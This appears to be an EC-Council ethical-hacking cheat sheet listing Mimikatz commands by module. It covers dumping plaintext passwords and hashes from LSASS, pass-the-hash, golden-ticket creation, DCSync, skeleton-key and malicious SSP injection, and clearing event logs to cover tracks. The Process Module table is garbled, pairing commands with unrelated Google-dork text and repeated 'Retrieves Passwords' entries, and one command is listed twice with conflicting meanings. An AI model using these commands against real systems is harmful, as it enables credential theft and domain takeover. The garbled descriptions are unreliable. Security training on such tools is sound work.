Ethical Hacking and Countermeasures
Mimikatz Cheat Sheet

EC-Council
Building A Culture Of Security

Mimikatz
Source: https://github.com

Mimikatz is an open-source application that allows users to view and save authentication credentials. Attackers make use of this tool to extract plaintexts passwords, hash, PIN code, and Kerberos tickets from memory.

The following table lists the various Mimikatz modules and their respective description

1. Mimikatz Sekurlsa Module
2. Mimikatz Crypto Module
3. Mimikatz DPAPI Module
4. Mimikatz Kerberos Module
5. Mimikatz LSADUMP Module
6. Mimikatz MISC Module
7. Mimikatz Privilege Module
8. Mimikatz Process Module
9. Mimikatz Service
10. Mimikatz SID Module
11. Mimikatz Standard
12. Mimikatz Token Module
13. Mimikatz SYSENV Module
14. Mimikatz RPC Module
15. Mimikatz BusyLight Module
16. Additional Commands

1.Mimikatz Sekurlsa Module

Mimikatz Command	Description
`mimikatz # sekurlsa::pth /user:<username> /<domain name> /ntlm:<hash>`	Pass-The-Hash and Over-Pass-the-Hash
`mimikatz # sekurlsa::logonpasswords`	List all current existing user and system credentials
`mimikatz # sekurlsa::tickets /export`	List and exports all available Kerberos tickets for all sessions
`mimikatz # sekurlsa::ekeys`	Display all Kerberos encryption keys
`mimikatz # sekurlsa::dpapi`	Show cached MasterKeys
`mimikatz # sekurlsa::dpapiSystem`	Show DPAPI_SYSTEM secret
`mimikatz # sekurlsa::minidump lsass.dmp`	Switch to LSASS minidump process context
`mimikatz # sekurlsa::msv`	Show LM & NTLM credentials
`mimikatz # sekurlsa::kerberos`	List Kerberos credentials for all authenticated users
`mimikatz # sekurlsa::Krbtgt`	Obtain password data of Domain Kerberos service account (KRBTGT)
`mimikatz # sekurlsa::liveSSP`	List LiveSSP credentials
`mimikatz # sekurlsa::backupkeys`	Get preferred backup master keys
`mimikatz # sekurlsa::credman`	List credentials manager
`mimikatz # sekurlsa::SSP`	Display SSP credentials
`mimikatz # sekurlsa::trust`	Get trust keys
`mimikatz # sekurlsa::tspkg`	Show TSPKG credentials
`mimikatz # sekurlsa::wdigest`	Display WDigest credentials

2. Mimikatz Crypto Module

Mimikatz Command	Description
`mimikatz # crypto::certificates`	List or export certificates
`mimikatz # crypto::certtohw`	Export software CA to crypto virtual hardware
`mimikatz # crypto::cng`	Patch CNG service for easy export
`mimikatz # crypto::extract`	Extract keys from CAPI RSA/AES provider
`mimikatz # crypto::hash`	Hash a password with optional username
`mimikatz # crypto::keys`	List or export keys containers
`mimikatz # crypto::providers`	List cryptographic providers
`mimikatz # crypto::sc`	List smartcard readers
`mimikatz # crypto::scauth`	Create authentication certificate from CA
`mimikatz # crypto::stores`	List cryptographic stores
`mimikatz # crypto::system`	Define Windows system certificate file
`mimikatz # crypto::capi`	Patch CryptoAPI layer for easy export

3. Mimikatz DPAPI Module

Mimikatz Command	Description
`mimikatz # dpapi::blob`	Unprotect DPAPI blob with API or Masterkey
`mimikatz # dpapi::cache`	Creates cache
`mimikatz # dpapi::capi`	CAPI key test
`mimikatz # dpapi::chrome`	Chrome test
`mimikatz # dpapi::cng`	CNG key test
`mimikatz # dpapi::cred`	CRED test
`mimikatz # dpapi::credhist`	Configure Credhist file
`mimikatz # dpapi::masterkey`	Configure masterkey file
`mimikatz # dpapi::protect`	Protect data using DPAPI
`mimikatz # dpapi::vault`	VAULT test
`mimikatz # dpapi:: wifi`	WIFI test
`mimikatz # dpapi::wwan`	WWAN test
`mimikatz # dpapi::system`	Describe Windows system certificate file

4. Mimikatz Kerberos Module

Mimikatz Command	Description
`mimikatz # kerberos::clist`	List tickets in MIT/Heimdall cache
`mimikatz # kerberos::golden`	Create golden/silver/trust tickets
`mimikatz # kerberos::hash`	Hash password to keys
`mimikatz # kerberos::list`	List all user tickets in user memory
`mimikatz # kerberos::ptc`	Pass the cache
`mimikatz # kerberos::ptt`	Pass the ticket
`mimikatz # kerberos::purge`	Remove all Kerberos tickets
`mimikatz # kerberos::tgt`	Get current TGT for current user
`mimikatz # kerberos::ask`	Request TGS tickets

5. Mimikatz LSADUMP Module

Mimikatz Command	Description
`mimikatz # lsadump:: backupkeys`	Needs Administrator rights
`mimikatz # lsadump::cache`	Get SysKey to decrypt NL$KM and MSCache(v2
`mimikatz # lsadump::changentlm`	Ask server to set new password/NTLM for one user
`mimikatz # lsadump::dcshadow`	Push replication changes to Domain Controller
`mimikatz # lsadump::dcsync`	Ask DC to synchronize an object
`mimikatz # lsadump::lsa`	Ask LSA Server to retrieve SAM/AD enterprise
`mimikatz # lsadump::netsync`	Uses DC computer account password data to impersonate a Domain Controller through Silver Ticket and DCSync the target account's information including the password data
`mimikatz # lsadump::sam`	Get SysKey to decrypt SAM entries
`mimikatz # lsadump::secrets`	Get SysKey to decrypt secrets entries
`mimikatz # lsadump::setntlm`	Request server to set new password/NTLM for one use
`mimikatz # lsadump::trust`	Request LSA Server to retrieve Trust Auth Information

6. Mimikatz MISC Module

Mimikatz Command	Description
`mimikatz # misc::addsid`	Add to SIDHistory to user account
`mimikatz # misc::cmd`	Command Prompt
`mimikatz # misc::compressme`	Compresses Mimikatz file to a new file
`mimikatz # misc::detours`	Enumerate all modules with Detours-like hooks

Ethical Hacking and Countermeasures
Mimikatz Cheat Sheet

EC-Council
Building A Culture Of Security

Mimikatz Command	Description
`mimikatz # misc::memssp`	Inject malicious Windows SSP to log locally authenticated credentials by patching LSASS in memory with new SSP
`mimikatz # misc::mflt`	Gathers details on loaded drivers
`mimikatz # misc::ncroutemon`	Juniper Manager
`mimikatz # misc::regedit`	Registry Editor
`mimikatz # misc::skeleton`	Inject Skeleton Key into LSASS process on Domain Controller
`mimikatz # misc::taskmgr`	Task Manager.

7. Mimikatz Privilege Module

Mimikatz Command	Description
`mimikatz # privilege::backup`	Get backup privilege or rights
`mimikatz # privilege::debug`	Obtain debug rights
`mimikatz # privilege::driver`	Get driver privilege or rights
`mimikatz # privilege::id`	Get privilege or rights by ID
`mimikatz # privilege::name`	Get privilege or rights by name
`mimikatz # privilege::restore`	Obtain restore privilege s
`mimikatz # privilege::security`	Get security privilege
`mimikatz # privilege::sysenv`	Obtain privilege or rights to manage system environment
`mimikatz # privilege::tcb`	Get TCB privilege

8. Mimikatz Process Module

Mimikatz Command	Description
`mimikatz # process::exports`	Finds files with FTP logins, server info, and more
`mimikatz # process::imports`	Find lists of FTP directories of D-Link routers
`mimikatz # process::list`	Dork of proftpd passwords
`intext:"Powered by net2ftp"`	Web based FTP client login page
`mimikatz # process::run`	Retrieves Passwords
`mimikatz # process::start`	Retrieves Passwords
`mimikatz # process::stop`	Retrieves Passwords
`mimikatz # process::suspend`	Retrieves Passwords

9. Mimikatz Service

Mimikatz Command	Description
`mimikatz # service::+`	Installs Mimikatz service
`mimikatz # service::-`	Uninstalls Mimikatz service
`mimikatz # service::list`	List Services
`mimikatz # service::preshutdown`	Preshutdown service
`mimikatz # service:: remove`	Remove service
`mimikatz # service::resume`	Resume service
`mimikatz # service::shutdown`	Shutdown service
`mimikatz # service::start`	Start service
`mimikatz # service::stop`	Stop service
`mimikatz # service::suspend`	Suspend servicee

10. Mimikatz SID Module

Mimikatz Command	Description
`mimikatz # sid::add`	Add a SID to SIDHistory of an object
`mimikatz # sid::clear`	Clear SIDHistory of an object
`mimikatz # sid::lookup`	Name or SID lookup
`mimikatz # sid::modify`	Modify object SID of an object
`mimikatz # sid::patch`	Patch NTDS service
`mimikatz # sid::query`	Query object by SID or name

11. Mimikatz Standard

Mimikatz Command	Description
`mimikatz # standard::answer`	Provides answer to everything
`mimikatz # standard::base64`	Shift output to base64 output
`mimikatz # standard::cd`	Change or display current directory
`mimikatz # standard::cls`	Clears the screen
`mimikatz # standard::coffee`	Shows ASCII image of coffee
`mimikatz # standard::exit`	Mimikatz exits
`mimikatz # standard::hostname`	Display system local host
`mimikatz # standard::localtime`	Display local date and time of system
`mimikatz # standard::log`	Send Mimikatz data to log file
`mimikatz # standard::sleep`	Sleep a quantity of milliseconds
`mimikatz # standard::version`	Show version information
`mimikatz # standard::markrus`	Pass-the-Hash information

12. Mimikatz Token Module

Mimikatz Command	Description
`mimikatz # token:: elevate`	Elevate permissions to system
`mimikatz # token::list`	List all tokens of the system
`mimikatz # token::revert`	Revert to process token
`mimikatz # token::run`	Runs token
`mimikatz # token::whoami`	Display current identity

13. Mimikatz SYSENV Module

Mimikatz Command	Description
`mimikatz # sysenv::list`	List system environment variables
`mimikatz # sysenv::get`	Get system environment variables
`mimikatz # sysenv::set`	Set system environment variables
`mimikatz # sysenv::set`	Delete system environment variables

14. Mimikatz RPC Module

Mimikatz Command	Description
`mimikatz # rpc::close`	Close connection with remote control
`mimikatz # rpc::connect`	Establish connection
`mimikatz # rpc::enum`	Enumerate connection
`mimikatz # rpc::server`	Establish connection with server

15. Mimikatz BusyLight Module

Mimikatz Command	Description
`mimikatz # busylight::list`	Lists connected BusyLights
`mimikatz # busylight::off`	Off BusyLights
`mimikatz # busylight::single`	Display single BusyLights
`mimikatz # busylight::status`	Shows status of BusyLights
`mimikatz # busylight::test`	Test BusyLights

16. Additional Commands

Mimikatz Command	Description
`mimikatz # ts::sessions`	List TS/RDP sessions
`mimikatz # vault::list`	List vault credentials
`mimikatz # minesweeper::infos`	Gives mine information in minesweeper
`mimikatz # event::clear`	Clears event logs
`mimikatz # event::drop`	Patch events service to avoid new events